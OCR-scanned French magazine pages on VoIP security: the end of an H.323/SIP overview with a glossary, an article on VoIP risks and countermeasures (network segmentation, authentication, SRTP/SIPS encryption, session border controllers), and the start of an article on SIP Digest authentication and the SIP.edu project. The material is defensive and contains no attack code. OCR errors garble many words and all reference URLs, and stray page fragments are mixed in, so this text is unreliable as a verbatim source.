ATA, elles aménent une problématique de NAT pour l'accés & la
VolP de terminaux du réseau privé. Evidemment, ce probléme est
aussi présent en entreprise. Pour le résoudre, plusieurs solutions
sont disponibles en SIP comme en H.323. En SIP, les terminaux
utilisent STUN [8], TURN [9], voire la méthodologie ICE [10] qui
permet d'employer au mieux ces 2 protocoles. La réponse d'H.323
se retrouve dans les services H.460.17, 18 et 19 qui décrivent une
solution compléte de traversée de NAT. Des solutions propriétaires
efficaces existent également. Dans tous les cas, la problématique
se situe au niveau du type de NAT derriére lequel se situe le
terminal. Ces différents types sont trés bien décrits dans la RFC
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du protocole STUN. Toutes les solutions pour l'optimisation du
chemin des paquets RTP/RTCP impliquent forcément une certaine
intelligence du terminal.

Beaucoup d'autres protocoles existent en VolP. On verra par
exemple des protocoles proprigtaires comme Skinny (de Cisco) et
UA (Universal Alcatel... d/Alcatel) ou libres comme IAX (d'Asterisk).
On trouvera MGCP (Media Gateway Control Protocol) créé par
I'lETF et dont le role est de controler les passerelles téléphoniques
gréace a des serveurs appeles Media Gafeway Controffers ou Calf
Agents. Une évolution de ce protocole est sortie du travail conjoint
de I'NETF avec I'ITU. La version IETF se nomme MEGACQO, alors
gue celle de I'I'TU est H.248 (H.GCP). lls ne sont pas la pour
concurrencer H.323 et SIP, mais pour les compléter. On peut
encore evoquer RTSP (Real-Time Streaming Protocof) qui est
trés proche de SIP d'un point de vue signalétique. Son but premier
est cependant de n'ouvrir les canaux médias que dans un sens
pour des services de type VOD (Video On Demand) par exemple.
Comme pour les protocoles de VolP, il utilise généralement RTP/
RTCP pour le transport des flux médias. |l doit étre présent dans
I'architecture IMS pour prendre en charge le streaming video.
Enfin, un successeur est en marche : H.325, Cette norme veut
décrire une troisiéme génération des systémes multimédias. H.320
correspond a la premiére génération et H.323/SIP a la seconde.

Nous avons fait un tour d'horizon trés rapide des deux standards
piliers de la VolP : H.323 et SIP. En conclusion, le point qui devrait
étre commun & toutes les solutions de VolP est |a sécurité.
Que ce soit en termes d'authentification, de confidentialité ou
simplement de rendu de service, les menaces sont nombreuses.
On peut considérer des menaces de type déni de service
que l'on retrouve habituellement dans les réseaux IP, tout comme
I'lP spoofing. Des menaces plus spécifiques voient le jour :

l'usurpation d'identite a l'enregistrement ou en appel (Registration or
Call hijacking), l'interception de la signalisation ou des médias d'un
appel (Eavesdropping), le SPIT (Spam over Infernet Telephony)
qui consiste en une distribution massive de messages vocaux
publicitaires. On parle également de la possibilité de la propagation
de virus sur RTP. Quelques solutions existent et continuent de se
développer, mais tout ceci est une autre histoire...
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ANAT Alternative Network Address Types
ATA Analog Telephone Adapters
BE Border Element

CRLF Carriage-Return Line-Feed

DTMF Dual-Tone Multi-Frequency

EP EndPaint

FQDN Fully Qualified Domain Name

GK GateKeeper

ICE Interactive Connectivity Establishment

IETF Internet Engineering Task Force

ITSP Internet Telephony Service Provider

ITU-T International Telecommunication Union —
Telecommunication Standardization Sector

IVR Interactive Voice Response

MCU Multipoint Control Unit
MC Multipoint Controller

MP Multipoint Processor |
PDU Protocol Data Unit I
PSS Proxy Server SIP
RAS Registration Admission Status [
RNIS Réseau Numérigue a Intégration de Services
RTC Réseau Teléphonigue Commuté
RTCP RTP Control Protocol
RTP Real-time Transport Protocol
SDP Session Description Protocol
STUN Simple Traversal of UDP through
Network Address Translators
TLS Transport Layer Security
TURN Traversal Using Relay NAT
UA User Agent
UAC User Agent Client
UAS User Agent Server
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VolIP : risques et contre-mesures

La télephonie classique privée (PABX — terminaux — cablage) a longtemps bénéficié de sa propre infrastructure. Elle offre
aujourd'hui encore un confort d'écoute et une disponibilité reconnus. Quel utilisateur se souvient de la derniére panne du

VolP : risques et contre-mesures

26

PABX de l'entreprise ?

La convergence IP a pour conséquence de proposer des solutions alléchantes capables de fonctionner sur le réseau
informatique existant de I'entreprise tout en proposant des services intégrés.

Cet article a pour objectif d'identifier les principaux risques liés a une architecture VolP (Voice over IP) basée sur le protocole
SIP (Session Initiation Protocol) et de présenter quelques éléments essentiels de securite.

Il fait la synthése de diverses publications techniques citées en référence.

mots clés : best practices / sécurisation

1. Principaux risques
1.1 Risques techniques

L'énumération suivante propose un premier niveau de classification
des principaux risgues connus liés a |'utilisation de la VolP en
entreprise :

= Perie de disponibilité.

Attaques de type deni de service (Denial of Service — DoS)
entrainant l'indisponibilite (partielle ou totale) d'un service ou
systéme pour les utilisateurs legitimes.

Exemples : interruption de la communication en cours, empécher
I'établissement de la communication, rendre la communication
inaudible, epuiser les ressources.

= Atteinte a la confidentialité.

Ecoute clandestine : attagues qui écoutent I'ensemble du
trafic de signalisation et/ou de données. Le trafic ecoute n'est
pas modifié.

Exemples : reconstruire une conversation a partir des paquets
RTP, déchiffrer les paguets, ajouter un participant, obtenir
des informations sur la communication, recuperer les DTMF
(Dual-tone multi-frequency = 2 fregquences sont associces a
chaque touche du clavier teléphonigue).

Détournement du trafic au profit de 'attaquant. Le détournement
consiste a rediriger un appel vers une personne illegitime ou a
inclure une personne illégitime dans la conversation.

Exemple : reroutage d'appel, Man in the Middle

= Usage de faux.

Attagues reposant sur la manipulation (usurpation, dissimulation)
d'identité.

= Yols de services.

Attagues pour utiliser un service sans avoir a remunérer son
fournisseur (tromper — frauder |a taxation).

= Communications non désirées.

Attaques permettant & une personne illegitime d'entrer en
communication avec un utilisateur legitime.

1.2 Risques réels (opérationnels)

Face aux risques techniques potentiels, il est ensuite necessaire
d'effectuer une analyse de risques par rapport aux biens (asseis)
a proteger de l'entreprise :

= Quel service indisponible empéche la continuilé des
activites 7

o Que faire des conversations confidentielles ? Les interdire ou
les sécuriser ?

= Quel type de données de journalisation veut-on/doit-on
conserver ? Pour guelle durée ?

= Respecte-t-on les contraintes legales ; notamment en matiere
de sphére privee ?

= Dispose-t-on du personnel technique capable de maitriser ces
nouvelles technologies 7

Cette analyse des risques fixe le niveau de sécurite requis et
précise ou investir les budgets disponibles. La securité VolP mise
en ceuvre doit étre alignee avec |a politique de sécurite globale et
les besoins de l'entreprise.

2. Eléments de sécurité

Les meéthodes de sécurisation proposées s'appuient sur les
élements suivants :

= La sécurité de base contient des Best Practices (en partie sous
forme de liens vers des documents de référence), pas forcément
spécifiques a la VolIP, qui aident a créer une infrastructure jugée
saine. Elle exige des mesures organisationnelles rigoureuses afin
de maintenir l'efficacité des sécurités physiques et logiques.

= La seéparation des équipements DATA et VolP permet, a elle
seule, de parer une grande partie des attaques, notamment les
attaques concernant I'écoute clandestine pour autant que les
mesures organisationnelles soient respectées.

= Lauthentification va garantir l'identité des interlocuteurs.

= Le chiffrement offre la confidentialité et I'intégrité des donnees
échangées.
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= La sécurité perimétrique protege le réseau VolP de |'entreprise
face aux risques externes.

2.1 Sécurité de base
Nous incluons dans cette partie les élements traditionnels de
securité d'un réseau informatigue.
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La majorite des entreprises, gui mettent en place une infrastructure
VolP, choisissent un reseau IP convergé (un méme réseau physigue
pour les donnees et la VoIP) pour des raisons économigues et
pratiques. Il est donc évident que la sécurité de l'infrastructure
VolP est fortement liée a la securité du réseau local.

Le document Metwork Infrastructure — Security Technical
Implementation Guide [DOD_Net] est une bonne réference
pour sécuriser un reseau |P, notamment le paragraphe §3.5
(Firewalls).

2.1.2 Séc

La securité phyanue demeure un element clef pour garantir une
bonne securité VolP.

Sa mise en ceuvre diminue fortement les risques d'écoutes
clandestines et les risques de DoS dus, par exemple, au
débranchement de l'alimentation d'un commutateur (switch) ou
d'un serveur.

L'acces aux équipements réseau (routers, switches...) et aux
serveurs VolP doit donc étre restreint aux seules personnes
autorisées. Les solutions choisies pour garantir cette sécurité
physique dépendent du niveau de securité requis (pieces fermées
aclef, lecteurs de cartes, biométrie, gardes...).

De plus, des mesures organisationnelles (signature d'une charte. . )
sont necessaires pour interdire aux employés de déconnecter un
cable reseau (d'un PC ou d'un hardphone). En effet, un employé
mal intentionné peut deconnecter son hardphone pour y brancher
son ordinateur qui se retrouve ainsi connecté au VLAN VolP,
ce qui est inadmissible (voir paragraphe 2.2).

2.1.3 Mise a jour du logiciel (IPBX, h,
et softphone

Tous ces composants possédent du logiciel susceptible de contenir
des failles. |l est donc essentiel de maintenir a jour la version de ces
logiciels grace a un processus de pafch management, notamment
lorsqu'une faille de securite les concernant a eté découverte.

Pour ce faire, il faut :

= Consulter réegulierement les sites des fabricants (matériel/
logiciel) des équipements de l'infrastructure VolP ou, mieux, étre
inscrit & leurs newsletters de maniére a étre automatiquement
informe si une nouvelle version/correctif est disponible.

= Tester le correctif sur des éguipements de test.

= Mettre a jour les équipements de production si le test précédent
est concluant.

Il convient, une f0|s Ie hardphonefsofrphone configure de
verrouiller par mot de passe sa configuration afin d'empécher
qu'un utilisateur ne puisse modifier les parametres (désactiver
['authentification...).

Des mesures organisationnelles sont, a nouveau, indispensables
pour interdire aux employés toute modification de la configuration
des equipements de l'infrastructure VolIP.

2.2 Séparation des équipements DATA

et VolP

La maniére la plus efficace d'améliorer la sécurité d'un réseau VolP
est de separer les équipements DATA des équipements VolP en
deux zones (DATA — VolP) de securité.

Si le niveau de securité requis est éleve et que les moyens le
permettent, il est recommandé de subdiviser la zone VolP en
fonction des types d'equipements VolP (ex : zone serveurs VolP,
zone hardphones, zone softphones...).

Cette separation peut se faire de maniére physique (deux réseaux
physiguement indépendants avec switches séparés) ou de maniére
logique. La séparation logique est souvent préférée pour des
raisons budgetaires.

En cas de présence de softphones dans l'architecture, un VLAN
softphones doit étre créé.

En plus des risques précédents, ces softphones, qui sont
instaliés sur des PC reliés au réseau DATA, rendent la separation
preconisee des réseaux DATA - VolIP difficile. Le [11157] le confirme
en affirmant : « soffphone systems should not be used where
security or privacy is a concern = éviter les softphones dans les
contextes qui attachent de 'importance & la sécurité du réseau
VolP ou au caractere privé des conversations téléphoniques ».

Cette solution attribue une plage d’ adresses IP {ex: 192.168.1.)()
au réseau DATA qui comprend tous les éguipements présents
avant l'introduction de la VoIP : postes clients, serveurs de fichiers,
contréleur de domaine. ..

Une plage differente d'adresses IP (ex : 192.168.2.x) est allouée
aux équipements VolP afin de définir des ACL sur les équipements
compatibles Layer 3 (switches L3/routers/firewalls) pour n‘autoriser
les communications qu'entre les adresses IP concernées.

De plus, le réseau VolP doit posséder ses propres serveurs, si des
services tels gue DNS, DHCP ou NTP sont nécessaires.

La deuxuame etape de notre défense en profondeur conseille un
VLAN DATA dédié aux equipements présentis dans le réseau DATA
et un VLAN VolP dédié aux équipements VolP. Pour améliorer
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cette séparation, il est préférable de créer a la place du VLAN VolP,
un VLAN pour chaque catégorie déguipement VolP : VLAN VolP
hardphones, VLAN VolP softphones, VLAN VolIP servers. ..

Il est ainsi possible d'établir des regles de filtrage plus fines et
d'améliorer la QoS. De plus, en cas d'attaque dans le VLAN VolP
softphone, les autres systemes VLAN VolP ne sont pas affectés.

S'il n'est pas possible (pour des raisons de fonctionnalité
notamment) d'interdire toute communication entre les VLAN DATA
et VoIP, un filtrage inter-VLAN (au niveau des switches et/ou des
routers et/ou des firewalls) doit étre mis en place afin de filtrer
rigoureusement le trafic entre les VLAN.

2.2.4 Filtrage Inter-VLAN

Les communications entre les VLAN doivent &tre rigoureusement
filtrées de maniére a n'autoriser que les flux nécessaires. Le
filtrage doit étre de type liste blanche (seuls les flux définis sont
autorises).

Ce filtrage peut étre effectue :

o en definissant des ACL sur les switches et/ou les routers
interconnectant les VLAN ;

= en plagant un firewall entre les VLAN.

Par exemple, Ies téléphones IP n'ont pas besoin d'envoyer un flux
meédia (ex : RTP) aux serveurs VolP ; seul le trafic de signalisation
(ex : SIP) doit donc étre possible au lieu d'autoriser toutes les
communications entre les VLAN VolP hardphones/sofiphones et
le VLAN VolP servers.

ldéalement, le firewall devrait étre compatible VolP (paragraphe 2.5).

2.2.5 Utilisation d’une carte réseau
supportant 802.1Q
En installant un softphone sur un ordinateur déja connecte

au réseau DATA, la séparation souhaitée (DATA — VolP) est
compromise et constitue un danger important.

La solution consiste a équiper chaque ordinateur d'une carte
Ethernet supportant le protocole 802.1q. De telles cartes
aiguillent les paguets dans leur YLAN respectif pour maintenir
l'isolement désire.

Le systéme d'exploitation, la carte Ethernet et le softphone doivent
supporter ce protocole 802 1q.

des ports réseau supplémentaires

Certains hardphones possédent un (ou plusieurs) port(s)
additionnel(s) pour brancher un PC ou un autre équipement
réseau ; tout en n'utilisant qu'une connexion vers le reseau local
de l'entreprise. Le hardphone fonctionne donc comme un hub
offrant ainsi l'accés aux réseaux DATA et VolP pour le hardphone
et le PC.

La solution propose de désactiver le(s) pori(s) supplementaire(s)
ou d'activer le protocole 802.1q sur le hardphone.

La séparation proposée dans les paragraphes 2.2.2 et 2.2.3 peut
étre compromise si un individu a la possibilité de connecter une
machine a un port d'un commutateur.

LE RISQUE VolP

Quelgues sécurités classeées par ordre croissant d'efficacite a
mettre en place :

> désactiver les ports non utilises ;
= placer les ports non utilisés dans un VLAN inutilisé ;

= configurer une ACL (placée au niveau du port ou du
commutateur) pour n‘autoriser l'accés gu'aux adresses MAC
definies ;

= activer une authentification 802 1x.

Les quatre mesures énumerées sont cumulables.

2.2.8 Placer les services convergés dans

Afin de ne pas compromettre la séparation des VLAN (DATA —
VolP), les services convergés (services nécessitant un acces
au VLAN DATA et au VLAN VolP) doivent étre places dans
une DMZ.

Les regles du firewall doivent étre les plus strictes possibles afin
de nautoriser gue les flux nécessaires.

2.3 Authentification
Aprés la séparation DATA — VolP, l'authentification constitue
le second point crucial pour la sécurité. Plusieurs méthodes
d'authentification sont possibles selon le niveau de sécurite
requis.

2.3.1 Authentification HTTP Digest des
messages SIP
La sécurité minimale est obtenue avec une authentification HTTP
Digest entre le téléphone et le serveur VolP. Cette methode
d'authentification est la plus répandue dans le mode VolP
(contrairement a HTTP basic) et n'est pas propriétaire.

Elle repose sur un mécanisme de type challenge-response qui
évite I'envoi en clair du mot de passe et qui protege donc contre
les attaques par rejeu (replay attack) :

= Le serveur génére une valeur aléatoire (challenge) qu'il transmet
au client .

= Le client calcule le response qui est le resultat de la fonction de
hachage MD5 du challenge et du mot de passe.

= Le serveur effectue la méme operation, car il partage le secret
{mot de passe), puis accepte le téléphone VolP si le résultat est
identique (chagque entite partage le méme secret)

Cette authentification, n'étant pas mutuelle, ne protege que des
attaques d'usurpation d'identité (messages SIP REGISTER etfou
INVITE) du terminal VolIP (& condition que la politigue de gestion
des mots de passe soit efficace).

2.3.2 Authentification mutuelle

Un meilleur niveau de securite est obtenu avec un protocole
capable d'offrir une authentification mutuelle : authentification du
teléphone IP par le serveur et authentification du serveur par le
téléphone IP. Les attagues basées sur ['usurpation d'identité ne
sont alors plus possibles. Quelques méthodes d’'authentification
mutuelles disponibles : SIPS, H.235 pour H.323, protocoles
proprietaires.
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2.4 Chiffrement

Un chiffrement (partiel ou total) sera requis si la confidentialité des
conversations l'exige.

Remarguons que I'écoute est possible sur un réseau teléphonique
classigue (PBX — PSTN) et que les risques d'écoute sont tout
aussi importants que dans une entreprise qui utilise la VolP non
chiffree. Le chiffrement des communications VolP donne un
niveau de confidentialité bien supérieur a un réseau téléphonigue
classigue.

Nous distinguerons les variantes suivantes : flux de signalisation,
flux media et ensemble des flux.

Construit sur TLS, SIPS (Secure SIP) offre, selon la configuration,
une authentification simple (serveur authentifié par le téléphone
IP) ou une authentification mutuelle a partir de certificats X.509,
ainsi qu'un chiffrement et un mécanisme d'integrité de type HMAC
afin de contrer des attagues telles que les écoutes clandestines
ou l'usurpation d'identite.

La charge supplémentaire induite par le protocole TLS (notamment
pour les fonctions de chiffrement) ne peut étre ignoree. Le
dimensionnement de l'infrastructure VolP doit étre effectue en
fonction du nombre maximum d'utilisateurs simultanés.

2.4.2 Chiffrement du flux média : SRTP...

Le protocole SRTP (Secure Real-time Transport Protocol)
étend le protocole RTP avec des mécanismes de chiffrement,
d'authentification de message, d'integrité et de protection contre
la répeétition de trafic. Seules les données utiles RTP sont chiffrées.
Le tag d'authentification, base HMAC SHA-1, protege 'en-téte et
le corps du paquet RTP. Son utilisation permet de premunir les
messages contre une modification non autorisée. Un numero
de séguence sur 16 bits sert conjointement avec le compteur
de rolfover de 32 bits afin de lutter contre les replay attacks. Le
champ MK (Master Key Identifier) est optionnel et identifie la cle
primaire depuis laguelle les autres clés de sessions sont dérivées |
le récepteur ['utilise pour retrouver la clé primaire correcte lorsque
le besoin d'un renouvellement de clé survient.

La sécurisation des paquets RTCP (RTP Control Protocol) se
fait de maniere similaire a celle de RTP avec comme unigque
difféerence l'usage obligatoire du tag d'authentification afin d'eviter
a un attaquant de terminer un flux media RTP en envoyant un
message SIP BYE.

Il est toujours conseille de prendre en compte le surcodt
cryptographigue pour garantir la qualite d'ecoute des flux audio
(delai, gigue).

IPSec, de par sa nature, est un candidat potentiel intéressant

capable de proteger simultanement les flux de signalisation
et media.

Outre |les services de confidentialité (avec le protocole ESP)
et d'integrité (avec le protocole AH), une authentification
mutuelle est également possible ainsi qu'une protection contre
les replay attacks.
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Avec SIP le mode IPSec hop-by-hop est necessaire, pour que
chaque proxy sur le chemin puisse avoir acces en lecture/écriture
sur 'en-téte des messages SIP, afin d'ajouter ou de retirer des
en-tétes VIA.

2.5 Sécurité périmétrique
La sécurité perimétrique concerne les equipements places en

bordure du réseau qui doivent proteger l'infrastructure VolP contre
les attaques externes

2.5.1 SBC (Session Border Controller)
La fonction SBC ne fait actuellement encore I'objet d'aucun
standard ni auprés de I'|lETF (publication d'un draft qui échoit dans
un mois), ni de 'UIT. C'est pourquoi le terme SBC est relativement
flou et regroupe un ensemble de fonctions qui varie beaucoup
d'une implementation a l'autre et surtout d'un protocole VolP
alautre,

Le SBC est situé, généralement, soit a |a frontiere entre un
opérateur VolP et son réseau d'acceés soit a la périphérie
d’'un réseau d'entreprise. |l est souvent comparé a un firewall
VolP-aware.

Cependant les fonctionnalites qu'il offre, bien que différentes suivant
les implementations, vont au-dela du firewall classique : défense
perimetrique (access control, topology hiding, DoS prevention
and detection), call admission control, traffic monitoring-
shaping-QoS, ouverture sur le firewall des ports necessaires aux
communications VolP, conversion de codec media, reecriture du
trafic de signalisation, NAT Traversal/STUN, Application Layer
Gateway (ALG).

Larchitecture interne d'un SBC est généralement composeée de
deux modules ; I'un chargé de controler l'accés des messages de
signalisation VolP au réseau et 'autre responsable des paguets
RTP au réseau. Ce module fait office de proxy RTP. Ces deux
modules peuvent étre regroupes dans un seul boitier (single-box
SBC) ou alors étre dans deux boitiers separes (dual-box SBC).

La solution single-box est plus simple a mettre en ceuvre et aussi
la plus déployee. Elle convient pour les infrastructures VolP de
petite a moyenne taille.

La solution dual-box offre une plus grande souplesse dans son
deploiement. Elle nécessite cependant |'utilisation d'un protocole
deja utilisé par les passerelles VolP tel que MEGACO/MGCP afin
d'autoriser la communication entre le module de signalisation du
SBC (appele Call Agent dans la RFC de MGCP) et le(s) module(s)
SBC Media (appelé media gateway dans |la RFC de MGCP).

Il est conseillé d'ajouter un firewall dans le cas ot le SBC choisi ne
l'inclut pas et d'activer un protocole tel que MEGACO/COPS pour
la communication SBC — firewall ainsi que pour la configuration
automatique du firewall.

2.5.2 SBC : définitions de seuils/Call
Admission Control
Les attaques DoS entrainent par définition un nombre
anormalement élevé de paquets reseau.

L'administrateur reseau a la possibilité de définir dans le SBC des
seuils, baseés sur divers critéeres, afin de limiter le trafic entrant
et/ou sortant d'un réseau. Le SBC evite ainsi de surcharger
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les commutateurs et de mettre hors-service certains éguipements
et/ou le réseau.

lllustration de la granularite offerte :

= limiter le volume global de signalisation VoIP ;

= limiter le trafic de signalisation VoIP par réseau ;

= limiter le trafic de signalisation VoIP par utilisateur enregistre ;
= limiter le trafic de signalisation VolP par session.

Il est recommande de placer les mémes types de seuils non plus
par rapport a la signalisation VolP en géneral, mais par rapport au
type de message de signalisation VolP.

2.5.3 STUN/TURN

La translation d'adresse (Network Address Translation NAT),
indispensable pour acheminer les paquets du réseau privée au
réseau public, pose probleme au protocole SIP, puisque les
équipements NAT ne savent modifier que les champs (adresses —
ports) des en-tétes |P et UDP-TCP, mais pas ceux de I'en-téte et
du corps SIP.

De plus, comme on peut le constater dans |'établissement de
session, le port utilisé par le protocole de communication pour
établir un flux média (RTP/RTCP) est déterminé de fagon
dynamique et transmis dans le corps du message (SDP) de la
requéte SIP.

Les firewalls traditionnels fonctionnent & partir de régles statiques
(adresses |P et ports) et sont donc incapables d'autoriser un
flux audio a des protocoles comme SIP qui négocient de fagon
dynamigue |'adresse |P et le numeéro du port utilisé sur un poste.

La solution passe par |'uilisation d'un statefull firewalf et des
fonctions ALG (Applications Layer Gateway).

Ainsi, les solutions pour resoudre la problematique du NAT peuvent
étre regroupées en deux categories : les solutions capables
d'anticiper les modifications effectuées par le NAT (STUN) et celles
utilisant un relais (TURN).

La RFC 3489 propose le protocole STUN (Simple Traversal of
UDP Through NAT) pour permettre aux applications de découvrir
la présence d'équipements firewalls-NAT entre elles et internet.

Il permet aussi de déterminer quelle adresse IP publique a ete
allouée par le NAT. Malheureusement, dans le cadre du NAT dit
« symeétrigue », le protocole STUN se révele inefficace et est donc
généralement remplacé par le fonction TURN.

TURN (Traversal Using Refay NAT) est un protocole permettant
a un élément situé derriére un équipement NAT ou un firewall
de recevoir des données entrantes. Les clients SIP disposent
généralement des deux fonctions et sont capables, selon les
situations, d'utiliser la fonction la plus appropriée. TURN a été
intégré a STUN, devenant ainsi une nouvelle fonctionnalite
de STUN.

Du fait que la fonction ALG VolIP est destinee a résoudre tous les
praoblémes de sécurite liés aux aspects VolP, elle couvre aussi
généralement les aspects de NAT.

da Fimégrﬁé des messages STUH
STUN contient un mécanisme de vérification de I'identite et
d'intégrité des messages, demandant au client STUN de tout

LE RISQUE VolP

d'abord faire une requéte appelée « demande de secret partage »
vers le serveur STUN. Le serveur STUN répond en lui indiguant un
nom d'utilisateur (username) et un mot de passe chiffre. Puis, le
client effectue sa requéte eninsérant un champ Message Integrity
ainsi gue le username obtenu par la requéte précédente, qui
permet au serveur de verifier l'intégrité du message. Les réponses
vont ensuite contenir, elles aussi, un champ permettant de vérifier
l'intégrité des messages.

Cette fonctionnalité n'etant pas obligatoire dans la RFC de STUN,
il faut donc verifier gu'elle soit bien activée et que les demandes/
réponses possedent bien ce champ Message Integrity, verifié a
chague transaction.

La réception d'une réponse de la part du serveur STUN (que
ce soit une erreur ou une binding response) doit normalement
terminer les transmissions de cette requéte. Toutefois, les clients
doivent continuer a écouter les réponses durant 10 secondes apres
la premiére. Si, durant ces dix secondes, une reponse contenant
des informations autres est regue, il est probable qu'une attague
soit en cours.

Il est donc important de vérifier que les clients STUN utilisés font
cette vérification et avertissent l'utilisateur le cas echeant. Cette
solution ne résout pas directement le probléme, mais avertit
I'utilisateur en cas d'attague, qui pourra prendre ses dispositions
pour la bloguer et/ou couper toute communication en cours.

2.5.6 Relais STUN : limitation de la bande

passante allouée par personne
Les serveurs STUN, qui implémentent les fonctions de relais, sont
susceptibles d'étre victimes d'attaques du type DoS puisqu'ils
allouent des ressources. Bien gue toutes les requétes dallocation
soient authentifiées, un attaquant (authentifie) peut generer de
multiples requétes d'allocation.

Il est par conséquent recommandé qu'un serveur définisse une
limite modeste de bande passante par utilisateur pour l'empécher
d'obtenir toutes les ressources.

Toutefois, un tel mécanisme n'empéche pas un large nombre
d'utilisateurs mal intentionnes de demander un faible nombre
de ressources. Ce genre d'attagues est possible en utilisant des
botnets, et est difficile a détecter et empécher.

Conclusion

Cette étude est destinée aux personnes gui vont renouveler
leur infrastructure téléphonique privée et qui doivent prendre
en compte un maximum de parameétres avant de choisir une
solution. Elle peut &tre complétée en amont par la prise en
compte de normes reconnues telles que ISO 2700x et CobiT
(liste non exhaustive).

A titre d'exemple, la version 4 du CobiT définit les domaines
Asset & Manage IT Risks (PO 9) et Ensures Systems Security
(DS 5) qui facilitent I'analyse des facteurs tels que ceniralized
security administration, hardening — virus prevention &
detection, incident handling — reporting & follow-up ou user
training.
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En aval, cette étude doit s'appuyer sur les recommandations
en matiére de sécurité des divers fournisseurs spécifiques
aux équipements commercialisés.

Le lecteur peut obtenir I'intégralité du rapport Best Practices
for VolP-SIP Security [BP] illustré par le tableau de la
page 31 qui synthétise la problématique et met en relation les

Face aux coiits liés a la sécurité de son infrastructure solutions de sécurisation avec les attaques potentielles.

VolP, I'entreprise doit aussi réflechir a des mesures
organisationnelles telles qgu'interdire 'usage du téléephone
pour les conversations confidentielles.

Je tiens a remercier I'équipe qui a contribué a I'élaboration de
ce document et plus particulierement mes coliegues Stefano
Ventura et Sébastien Contreras pour leur préecieuse aide dans
la rédaction du présent article, ainsi que Guillaume Arcas et
José Tavares pour leur fidéle relecture et Olivier Grall pour
ses remarques pertinentes.

Nous comptons poursuivre nos travaux vers une détection
d'intrusions (sondes, analyses des logs...) basée sur un
modele comportemental.

Reéférences

[NsaArch] « Recommended IP Telephony Architecture »,
http:/fwww.nsa.gov/notices/notic00004.cfm?Address=/snac/voip/I332-009R-2006.pdf

[NsaGuid] « Security Guidance for Deploying IP telephony Systems »,
http:/fwww.nsa.gov/notices/notic00004.cfm?Address=/snac/voip/1332-016R-2005.PDF

[NIST] « Security Cansiderations for Voice Over IP Systems »,
http:!/lcsrc.nist.gov/publications/nistpubs/800-58/SP800-58-final. pdf

[DoD] « IP Telephony & VolP : Security technical implementation guide »
hitp://csrc.nist.gov/pcig/STIGs/VolP-STIG-V2ZR2.pdf

[DOD_Net] « Network Infrastructure — Securily Technical Implementation Guide »,
http:/liase.disa.mil/stigs/stig/network-stig-v6rd.pdf

[BP] DOSWALD, EHRENSBERGER, HAHN, VENTURA, CONTRERAS, LITZISTORF, Best Practices for VolP-SIP Security,
hitp:/lwww.td.unige.ch/pdf/BP_VolP_Security.pdf

[Formation] http://www.td.unige.ch/pdf/VolP_Course.pdf

alutti-System & [internet Eecurity [sookbook

S con

Actualités sur les parutions

Infos pratiques pour sabonner/commander d’anciens numéros
Fils RSS/Atom : tenez-vous au courant des nouveautes

VolP - risques et contre-mesures

L SRR : = :




[ DOSSIER ]

Authentification dans SIP et
présentation du projet SIP.edu

Philippe Sultan
philippe sultan@inria.fr

SIP (Session Initiation Protocol) est un protocole de signalisation de téléphonie sur IP, servant a la gestion de sessions
voix (ou vidéo) sur un réseau IP privé particulier, d'entreprise ou d'opérateur et plus largement sur I'lnternet. Les
implémentations logicielles SIP se retrouvent sur les postes téléphoniques et les équipements d'interconnexion
(proxies, serveurs registrars), et se répandent rapidement aussi bien chez les constructeurs de téléphonie (Alcatel,
Cirpack, AVAYA, etc.) que dans le monde des Logiciels libres ou de nombreux projets fleurissent (Asterisk,
OpenSER, etc.). Le succes de SIP par rapport au concurrent historique H.323 repose sur I'essor de l'utilisation du
réseau Internet en tant que support pour la téléphonie, ainsi que sur la simplicité d'implémentation du protocole.

mots clés : authentification / SIP / RADIUS / annuaire

1. Introduction

Les premiers travaux sur SIP datent de 1996, Dés le départ,
le modele de transaction du protocole a repris celui utilisé en
HTTP. C'est pourquoi on retrouve une méthode d'authentification
définie pour HTTP dans le protocole SIP. La prise en compte
des éléments de sécurisation s'est faite au fur et a mesure du
temps et de considérations plus generales, particulieres au réseau
Internet. Par exemple, le protocole autorisait initialement une
authentification utilisateur de type HTTP Basic (RFC 2543 [1]),
impliquant une transmission simplement encodée (et non chiffrée)
du mot de passe de ['utilisateur. Pour améliorer la confidentialité
du processus d'authentification, la transmission du mot de passe
encodé est désormais interdite, et seuls les mécanismes HTTP
Digest, ou TLS (RFC 3261 [1]) subsistent.

Dans cet article, nous présentons les mécanismes d'authentification
HTTP Digest et TLS appliques a SIP. Un systéme d'authentification
robuste pour SIP, confronte a un environnement « hostile » tel
gue I'lnternet, est indispensable pour limiter le risque d'usurpation
didentite. Outre les attaques classiques gu'implique une usurpation
d'identite, 'application du spam [2] aux réseaux de téléphonie
sur IP, malheureusement anticipée, pourrait s'étendre a partir
des faiblesses du systéme d'authentification. Une application
possible serait un message publicitaire (par exemple pour des
pilules miraculeuses) transmis par téléphone a 2h du matin et en
anglais, décalage horaire oblige !

Nous présentons aussi le projet académique SIP.edu et
limplémentation de son architecture cible a I'INRIA. Initié par
l'arganisation Internet2, ce projet vise a rendre accessibles
les postes téléphoniques (IP ou non) d'une institution membre
depuis un terminal SIP connecté a |'Internet. Pour contacter
un poste telephonique d'une institution membre depuis un tel
terminal (ex. : softphone SIP), on composera alors non plus un
numéro de téléphone, mais |'adresse email du correspondant
desire. Les élements du cceur de l'architecture cible (proxy SIP,
annuaire, passerelle RTC) assurent alors |e relais vers le poste
teléphonigue correspondant.

Ce projet, et son extension a une solution de TolP (Telephony
over {P) pour nomades déployée a I'INRIA, constituent de fait un
champ d'expéerimentation des problémes de controle d'accés et
d'exposition au SPIT (SPam over IP Telephony) [2].

2. Authentification HTTP
Digest appliquée a SIP

2.1 Présentation

Larchitecture SIP telle que définie dans le standard RFC 3261 [2]
regroupe des clients et un ensemble de serveurs. Le serveur
proxy SIP est géneralement assigné a un domaine, et dessert les
communications a destination des clients gérés. Inversement, il
offre a ces mémes clients l'accés a I'ensemble des terminaux SIP
extérieurs au domaine. Le serveur SIP registrar traite les requétes
d'enregistrement des clients SIP, gardant ainsi les adresses IP
auxguelles ils sont joignables. Cette fonction d'enregistrement offre
la mobilité aux clients SIP.

L'authentification d'un utilisateur est un préalable necessaire a
I'enregistrement aupres d'un serveur SIP registrar.

Ci-dessous le diagramme réseau détaillant les messages échangés
lors d'un enregistrement aupres d'un registrar.

Registrar
SIP User Agent

A 3
S

1 - REGISTE Rl

=2 — 401 + WWW-Authenticatem|

=3 — REGISTER + Authorization——{»|

[ 4 - 200 OK:

- Enregistrement et authentification

La premiére requéte d'enregistrement REGISTER ne contient pas
d'information d'authentification du client. Le serveur répond
alors par un refus d'enregistrement 441 Unauthorized, et transmet
